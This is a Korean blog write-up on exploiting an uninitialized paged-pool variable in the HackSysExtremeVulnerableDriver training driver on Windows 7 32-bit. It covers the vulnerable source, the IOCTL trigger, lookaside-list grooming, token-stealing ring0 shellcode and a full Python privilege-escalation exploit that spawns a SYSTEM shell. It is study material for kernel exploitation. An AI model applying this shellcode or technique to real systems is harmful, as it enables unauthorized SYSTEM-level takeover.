#dokydoky

[KR] Windows Kernel Exploit - Uninitialized Heap Variables(Paged Pool) 본문

Windows Exploit

[KR] Windows Kernel Exploit - Uninitialized Heap Variables(Paged Pool)

dokydoky 2016.12.06 23:06

0x0. Introduction
0x1. Vulnerable code 
0x2. How to trigger
0x3. Exploit
    > Populate LookAside List of Paged pool
    > Shellcode(Privilege Escalation)
    > Full Exploit code


0x0. Introduction

  안녕하세요. dokydoky입니다. Windows Kernel Exploitation(by Ashfaq Ansari)의 과제였던 "Uninitialize Heap Variable"에 대해 정리해봤습니다. 도움을 주신 Ashfaq Ansari에게 감사의 말씀을 전합니다. 그리고 HackSysExtremeVulnerableDriver의 Pool Overflow, UAF 익스플로잇 코드의 많은 부분을 참고하여 사용했습니다.

Environment : Windows 7 SP1 32bit, single processor

Target Driver : HackSysExtremeVulnerableDriver(by @HackSys Team)
https://github.com/hacksysteam/HackSysExtremeVulnerableDriver

HackSysExtremeVulnerableDriver github에 들어가면 커널 드라이버를 다운 받으실 수 있습니다. 컴파일된 버전은 아래 링크
https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/master/Driver/Compiled/Vulnerable/HackSysExtremeVulnerableDriver.sys



0x1. Vulnerable code

UninitializedHeapVariable.c

NTSTATUS TriggerUninitializedHeapVariable(IN PVOID UserBuffer) {
    ULONG UserValue = 0;
    ULONG MagicValue = 0xBAD0B0B0;
    NTSTATUS Status = STATUS_SUCCESS;
    PUNINITIALIZED_HEAP_VARIABLE UninitializedHeapVariable = NULL;

    PAGED_CODE();

    __try {
        // Verify if the buffer resides in user mode
        ProbeForRead(UserBuffer,
                     sizeof(UNINITIALIZED_HEAP_VARIABLE),
                     (ULONG)__alignof(UNINITIALIZED_HEAP_VARIABLE));

        // Allocate Pool chunk
        UninitializedHeapVariable = (PUNINITIALIZED_HEAP_VARIABLE)
                                     ExAllocatePoolWithTag(PagedPool,
                                                           sizeof(UNINITIALIZED_HEAP_VARIABLE),
                                                           (ULONG)POOL_TAG);
        ......
        // Get the value from user mode
        UserValue = *(PULONG)UserBuffer;

        ......
        // Validate the magic value
        if (UserValue == MagicValue) {
            UninitializedHeapVariable->Value = UserValue;
            UninitializedHeapVariable->Callback = &UninitializedHeapVariableObjectCallback;

            // Fill the buffer with ASCII 'A'
            RtlFillMemory((PVOID)UninitializedHeapVariable->Buffer, sizeof(UninitializedHeapVariable->Buffer), 0x41);

            // Null terminate the char buffer
            UninitializedHeapVariable->Buffer[(sizeof(UninitializedHeapVariable->Buffer) / sizeof(ULONG)) - 1] = '\0';
        }

        ......
        // Call the callback function
        if (UninitializedHeapVariable) {
            ......
            UninitializedHeapVariable->Callback();
        }
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }

    return Status;
}

NTSTATUS UninitializedHeapVariableIoctlHandler(IN PIRP Irp, IN PIO_STACK_LOCATION IrpSp) {
    PVOID UserBuffer = NULL;
    NTSTATUS Status = STATUS_UNSUCCESSFUL;

    UNREFERENCED_PARAMETER(Irp);
    PAGED_CODE();

    UserBuffer = IrpSp->Parameters.DeviceIoControl.Type3InputBuffer;

    if (UserBuffer) {
        Status = TriggerUninitializedHeapVariable(UserBuffer);
    }

    return Status;
}

UninitializedHeapVariable에 Paged Pool을 할당한 뒤, UserValue가 MagicValue와 같으면 UninitializedHeapVariable의 초기화를 진행합니다.

하지만, 같지 않으면 초기화되지 않은 UninitializedHeapVariable의 Callback함수를 호출하게 됩니다.

UserValue는 UserBuffer의 값으로 Usermode에서 조작이 가능하기 때문에, 취약점을 트리거 할 수 있습니다.


typedef struct _UNINITIALIZED_HEAP_VARIABLE {
    ULONG Value;
    FunctionPointer Callback;
    ULONG Buffer[58];
} UNINITIALIZED_HEAP_VARIABLE, *PUNINITIALIZED_HEAP_VARIABLE;

UninitializedHeapVariable 타입인 UNINITIALIZED_HEAP_VARIABLE 구조체는 위와 같습니다.
크기는 240(0xF0)byte. 



0x2. How to trigger

HackSysExtremeVulnerableDriver는 IOCTL 인터페이스가 정의되어 있습니다. 따라서 유저 모드에서 IOCTL을 이용하여 드라이버의 함수 호출이 가능합니다.

유저모드에서 IOCTL을 호출 할 경우, 드라이버의 MajorFunction[IRP_MJ_DEVICE_CONTROL]가 호출됩니다.

HackSysExtremeVulnerableDriver.c

NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath) {

    ......

    // Assign the IRP handlers for Create, Close and Device Control
    DriverObject->MajorFunction[IRP_MJ_CREATE]         = IrpCreateHandler;
    DriverObject->MajorFunction[IRP_MJ_CLOSE]          = IrpCloseHandler;
    DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = IrpDeviceIoCtlHandler;

    ......

    return Status;
}

......

NTSTATUS IrpDeviceIoCtlHandler(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) {
    ULONG IoControlCode = 0;
    PIO_STACK_LOCATION IrpSp = NULL;
    NTSTATUS Status = STATUS_NOT_SUPPORTED;

    UNREFERENCED_PARAMETER(DeviceObject);
    PAGED_CODE();

    IrpSp = IoGetCurrentIrpStackLocation(Irp);
    IoControlCode = IrpSp->Parameters.DeviceIoControl.IoControlCode;

    if (IrpSp) {
        switch (IoControlCode) {

            ......

            case HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE:
                DbgPrint("****** HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE ******\n");
                Status = UninitializedStackVariableIoctlHandler(Irp, IrpSp);
                DbgPrint("****** HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE ******\n");
                break;
            case HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE:
                DbgPrint("****** HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE ******\n");
                Status = UninitializedHeapVariableIoctlHandler(Irp, IrpSp);
                DbgPrint("****** HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE ******\n");
                break;
            default:
                DbgPrint("[-] Invalid IOCTL Code: 0x%X\n", IoControlCode);
                Status = STATUS_INVALID_DEVICE_REQUEST;
                break;
        }
    }

    Irp->IoStatus.Status = Status;
    Irp->IoStatus.Information = 0;

    // Complete the request
    IoCompleteRequest(Irp, IO_NO_INCREMENT);

    return Status;
}

MajorFunction[IRP_MJ_DEVICE_CONTROL]인 IrpDeviceIoCtlHandler 내부에서는 IoControlCode에 따라 handler를 호출합니다.

우리가 원하는 UninitializedHeapVariableIoctlHandler분기를 타기 위해서는 IoControlCode가 "HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE"일 경우입니다.


HackSysExtremeVulnerableDriver.h

#define HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE     CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80C, METHOD_NEITHER, FILE_ANY_ACCESS)


// CTL_CODE macro definition

CTL_CODE( DeviceType,    // Identifies the device type Function,      // Identifies the function to be performed by the driver Method,        // Indicates how the system will pass data between the caller and driver Access         // Indicate the type of access );

"HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE"는 위와 같이 선언되어 있습니다.

전송 타입은 METHOD_NEITHER로, 유저모드에서 버퍼를 인자로 넘기면 입출력 관리자는 시스템 버퍼나 MDL을 제공하지 않고 유저모드의 가상주소를 제공합니다.

또한, 권한은 FILE_ANY_ACCESS로, 드라이버의 핸들을 가지고 있는 모든 호출자에 대해 입출력 관리자는 IRP를 전송합니다.


우리의 목표는 유저모드에서 IoControlCode를 "HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE"로 IOCTL을 호출하는 것, 그리고 취약점을 트리거하기 위해 MagicNumber인 0xBAD0B0B0와 다른 데이터를 UserBuffer로 넘겨주는 것입니다.

유저모드에서 IOCTL을 호출하기 위해서는 DeviceIoControl API를 사용하면 되며, Device 핸들, IoControlCode, UserBuffer등을 설정해줍니다.

BOOL WINAPI DeviceIoControl(
  _In_        HANDLE       hDevice,
  _In_        DWORD        dwIoControlCode,
  _In_opt_    LPVOID       lpInBuffer,
  _In_        DWORD        nInBufferSize,
  _Out_opt_   LPVOID       lpOutBuffer,
  _In_        DWORD        nOutBufferSize,
  _Out_opt_   LPDWORD      lpBytesReturned,
  _Inout_opt_ LPOVERLAPPED lpOverlapped
);


dwIoControlCode의 타입은  DWORD이므로, 바이너리에서 HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE가 어떻게 표현되는지 확인해봅시다.

edx = IoControlCode

loc_1505A:
mov     eax, edx
sub     eax, 22201Fh
jz      loc_150FD
...
push    4
pop     ecx
sub     eax, ecx
jz      short loc_150E8
...
sub     eax, ecx
jz      short loc_150D3
...
sub     eax, ecx
jz      short loc_150BE
...
sub     eax, ecx
jz      short loc_150A9
...
sub     eax, ecx
jz      short loc_15094
...
loc_15094:              ; "****** HACKSYS_EVD_IOCTL_UNINITIALIZED_"...
mov     ebx, offset aHacksys_evd__5
push    ebx             ; Format
call    _DbgPrint
pop     ecx
push    esi             ; IrpSp
push    edi             ; Irp
call    _UninitializedHeapVariableIoctlHandler@8 ; UninitializedHeapVariableIoctlHandler(x,x)
jmp     short loc_15110

IoControlCode-22201F-4-4-4-4-4 = 0

IoControlCode = 0x222033 임을 알 수 있습니다.


최종적으로, 아래와 같이 IOCTL을 호출하면 Uninitialized heap variable 취약점을 트리거 할 수 있습니다.

hDevice = CreateFile("\\\\.\\HackSysExtremeVulnerableDriver",
                     GENERAL_READ | GENERAL_WRITE,
                     None,
                     None,
                     OPEN_EXISTING,
                     None,
                     None)

pUserBuffer = "AAAA" // not 0xBAD0B0B1
DeviceIoControl(hDevice,
                0x222033,
                pUserBuffer,
                0x4,
                None,
                0,
                None,
                None)



0x3. Exploit


>
 Populate LookAside List of Paged pool

NTSTATUS TriggerUninitializedHeapVariable(IN PVOID UserBuffer) {
    ULONG UserValue = 0;
    ULONG MagicValue = 0xBAD0B0B0;
    NTSTATUS Status = STATUS_SUCCESS;
    PUNINITIALIZED_HEAP_VARIABLE UninitializedHeapVariable = NULL;

    PAGED_CODE();

    __try {
        // Verify if the buffer resides in user mode
        ProbeForRead(UserBuffer,
                     sizeof(UNINITIALIZED_HEAP_VARIABLE),
                     (ULONG)__alignof(UNINITIALIZED_HEAP_VARIABLE));

        // Allocate Pool chunk
        UninitializedHeapVariable = (PUNINITIALIZED_HEAP_VARIABLE)
                                     ExAllocatePoolWithTag(PagedPool,
                                                           sizeof(UNINITIALIZED_HEAP_VARIABLE),
                                                           (ULONG)POOL_TAG);
        ......
        // Get the value from user mode
        UserValue = *(PULONG)UserBuffer;
        ......
        // Call the callback function
        if (UninitializedHeapVariable) {
            ......
            UninitializedHeapVariable->Callback();
    ......
}

초기화 되지 않은 변수는 UninitializedHeapVariable로 크기는 0xF0(240)byte입니다. Pool header를 포함하면 paged pool에는 실제 0xF8 크기의 chunk가 할당됩니다. 

typedef struct _UNINITIALIZED_HEAP_VARIABLE {
    ULONG Value;
    FunctionPointer Callback;
    ULONG Buffer[58];
} UNINITIALIZED_HEAP_VARIABLE, *PUNINITIALIZED_HEAP_VARIABLE;

프로그램의 흐름을 바꾸기 위해서는 UninitializedHeapVariable 구조체에서 Callback 멤버의 값을 조작해야 합니다.

그리고, Callback 멤버의 값을 우리가 원하는 값으로 변경하기 위해서는 아래와 같은 과정이 필요합니다.

1) 0xF8 크기의 chunk를 Paged pool에 256개 할당(이 때, chunk의 +4 위치에 Callback 멤버에 할당하고자 하는 값을 설정)

2) 위에서 할당한 256개의 chunk를 해제 -> 우리가 조작한 chunk로 LookAside List가 채워짐.

3) UninitializedHeapVariable 변수를 할당하면, LookAside List에서 우리가 조작된 chunk가 할당됨.


위의 내용을 보기 전에 우선 알아야 할 것이 있습니다.

pool chunk를 해제할 때, block size가 0x20이하면 최대 256개의 chunk를 LookAside List에 넣어 관리하고, 추가적인 chunk들은 ListHead에서 관리하게 됩니다.

이 때, LookAside List의 chunk들은 데이터의 4byte가 overwrite되며, ListHead의 chunk들은 데이터의 8byte가 overwrite됩니다.

LookAside List

  | _POOL_HEADER (8byte) | _SINGLE_LIST_ENTRY (4byte) |  ....... |

 Single Linked List

 ListHead

  | _POOL_HEADER (8byte) | _LIST_ENTRY (8byte) |  ....... |

 Double Linked List


우리의 목표인 Callback 멤버는 구조체의 +4위치에 있으므로, LookAside List에서 할당받아야 합니다.

아래는 chunk를 free하기 전과 후의 모습을 비교한 표 입니다.

 Before free 

  | _POOL_HEADER (8byte) | Value (4byte) |  Callback (4byte)  |  Buffer[58]  |

 After free

  | _POOL_HEADER (8byte) | _SINGLE_LIST_ENTRY (4byte) |  Callback (4byte)  |  Buffer[58]  |


Paged pool 할당을 위해서는 CreateEvent API를 사용했습니다.

할당되는 Event Object는 Non-Paged pool에 할당이 되지만, lpName은 Paged pool에 할당이 됩니다.

따라서, lpName에 0xF0크기의 문자열을 인자로 준다면, Paged Pool에 0xF8(헤더:0x8,데이터:0xF0)의 chunk를 할당할 수 있습니다.

HANDLE WINAPI CreateEvent(
  _In_opt_ LPSECURITY_ATTRIBUTES lpEventAttributes,
  _In_     BOOL                  bManualReset,
  _In_     BOOL                  bInitialState,
  _In_opt_ LPCTSTR               lpName
);


def populate_lookaside():
    ring0_payload = (
    "\x60"                          # 00000000:  pushad
    "\x31\xc0"                      # 00000001:  xor eax,eax
    "\x64\x8b\x80\x24\x01\x00\x00"  # 00000003:  mov eax,[fs:eax+0x124]
    "\x8b\x40\x50"                  # 0000000A:  mov eax,[eax+0x50]
    "\x89\xc1"                      # 0000000D:  mov ecx,eax
    "\xba\x04\x00\x00\x00"          # 0000000F:  mov edx,0x4
    "\x8b\x80\xb8\x00\x00\x00"      # 00000014:  mov eax,[eax+0xb8]
    "\x2d\xb8\x00\x00\x00"          # 0000001A:  sub eax,0xb8
    "\x39\x90\xb4\x00\x00\x00"      # 0000001F:  cmp [eax+0xb4],edx
    "\x75\xed"                      # 00000025:  jnz 0x14
    "\x8b\x90\xf8\x00\x00\x00"      # 00000027:  mov edx,[eax+0xf8]
    "\x89\x91\xf8\x00\x00\x00"      # 0000002D:  mov [ecx+0xf8],edx
    "\x61"                          # 00000033:  popad
    "\xc3"                          # 00000034:  ret
    )
    
    ring0_payload_address = id(ring0_payload) + 20
    debug_print("\t[*] Ring0 payload address: {0}".format(hex(ring0_payload_address)))

    k = "DDDD" + struct.pack("L", ring0_payload_address) + "F"*(0xF0-4-8-6)

    kernel32.DebugBreak()
    # Maxium is 256
    for i in xrange(256):
        tmp = str(i).zfill(4) + '\x00\x00'
        event_objectsB.append(kernel32.CreateEventW(None,
		                                   True,
	                         		   False,
			                           c_char_p(k+tmp)))
	if not event_objectsB[i]:
            debug_print("\t[-] Unable to allocate Event objectsB")
            sys.exit(-1)
    kernel32.DebugBreak()

    for i in xrange(0, len(event_objectsB), 1):
        if not close_handle(event_objectsB[i]):
            debug_print("\t[-] Unable to close Event objectsB handle")
    kernel32.DebugBreak()
위 소스에서 3군대의 kernel32.DebugBreak()에서 각각 LookAside List 상태를 확인해본 결과는 아래와 같습니다.(lpName의 tag는 ObNm)

kd> !poolinfo -s -l -t Paged 8292fd40 -b 0xF8;g;
Lookaside[1E]: size=0F8, 829305b0
  9cec7388: size:0F8 prev:058 index:02 type:05 tag:Rpc.
  9cfbe000: size:0F8 prev:000 index:03 type:05 tag:EtwP
Break instruction exception - code 80000003 (first chance)
001b:75884abf cc              int     3

kd> !poolinfo -s -l -t Paged 8292fd40 -b 0xF8;g;
Break instruction exception - code 80000003 (first chance)
001b:75884abf cc              int     3

kd> !poolinfo -s -l -t Paged 8292fd40 -b 0xF8;g;
Lookaside[1E]: size=0F8, 829305b0
  9c97ee38: size:0F8 prev:068 index:02 type:05 tag:ObNm
  99da3838: size:0F8 prev:018 index:01 type:05 tag:ObNm
  9cfbe000: size:0F8 prev:000 index:03 type:05 tag:ObNm
  9cec7388: size:0F8 prev:058 index:02 type:05 tag:ObNm
초기의 LookAside List는 2개의 임의의 chunk가 있고, 256개의 chunk를 할당한 뒤에는 0개의 chunk가 있습니다.
그리고 최종적으로 256개의 chunk를 free한 후에는 우리가 조작한 4개의 lpName chunk가 있습니다.
256개의 chunk가 LookAside List에 할당될거라는 예상과는 다르게 4개의 chunk가 할당되었습니다만, exploit을 하는데에는 큰 문제가 없습니다.

> Shellcode(Privilege Escalation)

Shellcode는 @Hacksys team의 github에 있는 소스를 사용했습니다.(thank you for your detailed comment @Ashfaq Ansari)

https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/master/Exploit/Source/Payloads.c#L145

    ring0_payload = (
    "\x60"                          # 00000000:  pushad

    # Start of Token Stealing Stub
    "\x31\xc0"                      # 00000001:  xor eax,eax
    "\x64\x8b\x80\x24\x01\x00\x00"  # 00000003:  mov eax,[fs:eax+0x124]
    "\x8b\x40\x50"                  # 0000000A:  mov eax,[eax+0x50]
    "\x89\xc1"                      # 0000000D:  mov ecx,eax
    "\xba\x04\x00\x00\x00"          # 0000000F:  mov edx,0x4
    "\x8b\x80\xb8\x00\x00\x00"      # 00000014:  mov eax,[eax+0xb8]
    "\x2d\xb8\x00\x00\x00"          # 0000001A:  sub eax,0xb8
    "\x39\x90\xb4\x00\x00\x00"      # 0000001F:  cmp [eax+0xb4],edx
    "\x75\xed"                      # 00000025:  jnz 0x14
    "\x8b\x90\xf8\x00\x00\x00"      # 00000027:  mov edx,[eax+0xf8]
    "\x89\x91\xf8\x00\x00\x00"      # 0000002D:  mov [ecx+0xf8],edx
    # End of Token Stealing Stub

    "\x61"                          # 00000033:  popad

    # Kernel Recovery Stub
    "\xc3"                          # 00000034:  ret
    )

payload의 내용은 System process의 token을 현재 쓰레드의 token에 덮어씌우는 것으로, 현재 쓰레드의 권한을 System권한으로 변경하는 것입니다.

BSOD가 발생하지 않도록 payload 앞,뒤로 pushad, popad를 통해 레지스터를 보존시켜줍니다.

또한, shellcode 실행 이후에 커널 스택 프레임을 정상적으로 맞춰줘야 하는데, shellcode 진입시 아래와 같이 별도의 파라미터 없이

call dword ptr [eax+4] 명령을 통해 shellcode로 진입하므로, popad 명령 뒤에 ret 명령어만 추가 시켜주면 됩니다.

HEVD!TriggerUninitializedHeapVariable+0xf7 [c:\hacksysextremevulnerabledriver\driver\source\uninitializedheapvariable.c @ 149]:
  149 92b4bd39 ff30            push    dword ptr [eax]
  149 92b4bd3b 6804c8b492      push    offset HEVD! ?? ::NNGAKEGL::`string' (92b4c804)
  149 92b4bd40 e8c1c2ffff      call    HEVD!DbgPrint (92b48006)
  150 92b4bd45 8b45e4          mov     eax,dword ptr [ebp-1Ch]
  150 92b4bd48 ff7004          push    dword ptr [eax+4]
  150 92b4bd4b 68d4c7b492      push    offset HEVD! ?? ::NNGAKEGL::`string' (92b4c7d4)
  150 92b4bd50 e8b1c2ffff      call    HEVD!DbgPrint (92b48006)
  150 92b4bd55 83c410          add     esp,10h
  152 92b4bd58 8b45e4          mov     eax,dword ptr [ebp-1Ch]
  152 92b4bd5b ff5004          call    dword ptr [eax+4]
  154 92b4bd5e eb24            jmp     HEVD!TriggerUninitializedHeapVariable+0x142 (92b4bd84)

HEVD!TriggerUninitializedHeapVariable+0x142 [c:\hacksysextremevulnerabledriver\driver\source\uninitializedheapvariable.c @ 158]:
  158 92b4bd84 c745fcfeffffff  mov     dword ptr [ebp-4],0FFFFFFFEh
  160 92b4bd8b 8b45e0          mov     eax,dword ptr [ebp-20h]

HEVD!TriggerUninitializedHeapVariable+0x14c [c:\hacksysextremevulnerabledriver\driver\source\uninitializedheapvariable.c @ 161]:
  161 92b4bd8e e8c6c2ffff      call    HEVD!__SEH_epilog4 (92b48059)
  161 92b4bd93 c20400          ret     4

Breakpoint 0 hit
HEVD!TriggerUninitializedHeapVariable+0x119:
92b4bd5b ff5004          call    dword ptr [eax+4]

kd> dd @eax
ae1cf9c0  00000000 017ad084 46464646 46464646
ae1cf9d0  46464646 46464646 46464646 46464646
ae1cf9e0  46464646 46464646 46464646 46464646
ae1cf9f0  46464646 46464646 46464646 46464646
ae1cfa00  46464646 46464646 46464646 46464646
ae1cfa10  46464646 46464646 46464646 46464646
ae1cfa20  46464646 46464646 46464646 46464646
ae1cfa30  46464646 46464646 46464646 46464646

kd> uf poi(@eax+4)
017ad084 60              pushad
017ad085 31c0            xor     eax,eax
017ad087 648b8024010000  mov     eax,dword ptr fs:[eax+124h]
017ad08e 8b4050          mov     eax,dword ptr [eax+50h]
017ad091 89c1            mov     ecx,eax
017ad093 ba04000000      mov     edx,4

017ad098 8b80b8000000    mov     eax,dword ptr [eax+0B8h]
017ad09e 2db8000000      sub     eax,0B8h
017ad0a3 3990b4000000    cmp     dword ptr [eax+0B4h],edx
017ad0a9 75ed            jne     017ad098

017ad0ab 8b90f8000000    mov     edx,dword ptr [eax+0F8h]
017ad0b1 8991f8000000    mov     dword ptr [ecx+0F8h],edx
017ad0b7 61              popad
017ad0b8 c3              ret



> Full Exploit code

# -*- coding: utf-8 -*- import sys from ctypes import * import struct import subprocess event_objects = [] kernel32 = windll.kernel32 def debug_print(message): print(message) kernel32.OutputDebugStringA(message + "\n") def get_device_handle(device): open_existing = 0x3 generic_read = 0x80000000 generic_write = 0x40000000 handle = kernel32.CreateFileA(device, generic_read | generic_write, None, None, open_existing, None, None) if not handle: debug_print("\t[-] Unable to get device handle") sys.exit(-1) return handle def close_handle(handle): # BOOL WINAPI CloseHandle( # _In_ HANDLE hObject # ); # close the device handle return kernel32.CloseHandle(handle) def populate_lookaside(): ring0_payload = ( "\x60" # 00000000: pushad "\x31\xc0" # 00000001: xor eax,eax "\x64\x8b\x80\x24\x01\x00\x00" # 00000003: mov eax,[fs:eax+0x124] "\x8b\x40\x50" # 0000000A: mov eax,[eax+0x50] "\x89\xc1" # 0000000D: mov ecx,eax "\xba\x04\x00\x00\x00" # 0000000F: mov edx,0x4 "\x8b\x80\xb8\x00\x00\x00" # 00000014: mov eax,[eax+0xb8] "\x2d\xb8\x00\x00\x00" # 0000001A: sub eax,0xb8 "\x39\x90\xb4\x00\x00\x00" # 0000001F: cmp [eax+0xb4],edx "\x75\xed" # 00000025: jnz 0x14 "\x8b\x90\xf8\x00\x00\x00" # 00000027: mov edx,[eax+0xf8] "\x89\x91\xf8\x00\x00\x00" # 0000002D: mov [ecx+0xf8],edx "\x61" # 00000033: popad "\xc3" # 00000034: ret ) ring0_payload_address = id(ring0_payload) + 20 debug_print("\t[*] Ring0 payload address: {0}".format(hex(ring0_payload_address))) k = "DDDD" + struct.pack("L", ring0_payload_address) + "F"*(0xF0-4-8-6) # Maxium is 256 for i in xrange(256): tmp = str(i).zfill(4) + '\x00\x00' event_objects.append(kernel32.CreateEventW(None, True, False, c_char_p(k+tmp))) if not event_objects[i]: debug_print("\t[-] Unable to allocate Event objects") sys.exit(-1) for i in xrange(0, len(event_objects), 1): if not close_handle(event_objects[i]): debug_print("\t[-] Unable to close Event objects handle") def get_process_id(process_name): process_id = None th32cs_snapprocess = 0x2 # https://msdn.microsoft.com/en-us/library/windows/desktop/ms684839(v=vs.85).aspx class PROCESSENTRY32(Structure): _fields_ = [ ('dwSize', c_uint), ('cntUsage', c_uint), ('th32ProcessID', c_uint), ('th32DefaultHeapID', c_uint), ('th32ModuleID', c_uint), ('cntThreads', c_uint), ('th32ParentProcessID', c_uint), ('pcPriClassBase', c_long), ('dwFlags', c_uint), ('szExeFile', c_char * 260), ('th32MemoryBase', c_long), ('th32AccessKey', c_long) ] process_entry_32 = PROCESSENTRY32() process_entry_32.dwSize = sizeof(PROCESSENTRY32) # HANDLE WINAPI CreateToolhelp32Snapshot( # _In_ DWORD dwFlags, # _In_ DWORD th32ProcessID # ); handle_process_snapshot = kernel32.CreateToolhelp32Snapshot(th32cs_snapprocess, 0) if not handle_process_snapshot: debug_print("\t[-] Unable to get snapshot") sys.exit(-1) # BOOL WINAPI Process32First( # _In_ HANDLE hSnapshot, # _Inout_ LPPROCESSENTRY32 lppe # ); success = kernel32.Process32First(handle_process_snapshot, byref(process_entry_32)) if not success: debug_print("\t[-] Unable to get the first process information") sys.exit(-1) while success: if process_entry_32.szExeFile.lower() == process_name: process_id = process_entry_32.th32ProcessID break # BOOL WINAPI Process32Next( # _In_ HANDLE hSnapshot, # _Out_ LPPROCESSENTRY32 lppe # ); success = kernel32.Process32Next(handle_process_snapshot, byref(process_entry_32)) # now close the handle close_handle(handle_process_snapshot) return process_id def is_process_having_high_privilege(process_to_open): process_all_access = 0x1F0FFF # DWORD WINAPI GetProcessId( # _In_ HANDLE Process # ); # get the process id of the process we want to open process_id = get_process_id(process_to_open) if not process_id: debug_print("\t[-] Unable to get the process id of: {0}".format(process_to_open)) sys.exit(-1) # HANDLE WINAPI OpenProcess( # _In_ DWORD dwDesiredAccess, # _In_ BOOL bInheritHandle, # _In_ DWORD dwProcessId # ); # try to open the target process handle_process = kernel32.OpenProcess(process_all_access, False, process_id) if not handle_process: return False return True if __name__ == "__main__": pool_buffer_size = 0xF0 bytes_returned = c_ulong() ioctl_uninitialized_heap = 0x00222033 device_name = "\\\\.\\HackSysExtremeVulnerableDriver" magicValue = struct.pack('<I', 0xBAD0B0B1) # order (trigger => 3 only) # 1. prepare user buffer # 2. populate lookaside list # 3. ioctl request # heap size = 0xF0 = 240 debug_print("[+] Preparing user mode buffer") user_mode_buffer = magicValue user_mode_buffer_address = id(user_mode_buffer) + 20 debug_print("\t[*] User Mode buffer: {0}".format(hex(user_mode_buffer_address))) # now get the handle to the vulerable driver debug_print("[+] Opening vulerable device: {0}".format(device_name)) device_handle = get_device_handle(device_name) debug_print("[+] Triggering Uninitialized Heap Variable") debug_print("\t[*] Sending IOCTL Code: {0}".format(hex(ioctl_uninitialized_heap))) # populate lookaside list populate_lookaside() # ioctl request - Trigger kernel32.DeviceIoControl(device_handle, ioctl_uninitialized_heap, user_mode_buffer_address, 0x4, None, 0, byref(bytes_returned), None) # close the device handle debug_print("[+] Closing device handle") if not close_handle(device_handle): debug_print("\t[-] Unable to close device handle") # if we are here, it means that the exploit was successful # let's free the Event objects #debug_print("\t[*] Freeing Event objects") #free_event_objects() debug_print("[+] Checking Current Process Privileges") if not is_process_having_high_privilege(process_to_open="csrss.exe"): debug_print("\t[-] Failed to elevate privileges") sys.exit(-1) # if you are here, you are ninja # we have successfully elevated our privileges debug_print("\t[*] Successfully elevated privileges") # spawn a command shell with SYSTEM privilege debug_print("[+] Spawning CMD with SYSTEM privilege") program_pid = subprocess.Popen("cmd.exe", creationflags=subprocess.CREATE_NEW_CONSOLE, close_fds=True).pid debug_print("\t[*] Shell Process ID: {0}".format(program_pid)) # good bye debug_print("[+] Good bye... Happy exploitation")

한 가지 주의할 점은 재부팅 후 2분정도 후에 LookAside List가 활성화되기 때문에, 재부팅 후 바로 exploit코드를 실행 할 경우 실패할 수 있습니다.

LookAside List가 활성화 된 후에는 100% 성공합니다.  


2 Comments
댓글쓰기 폼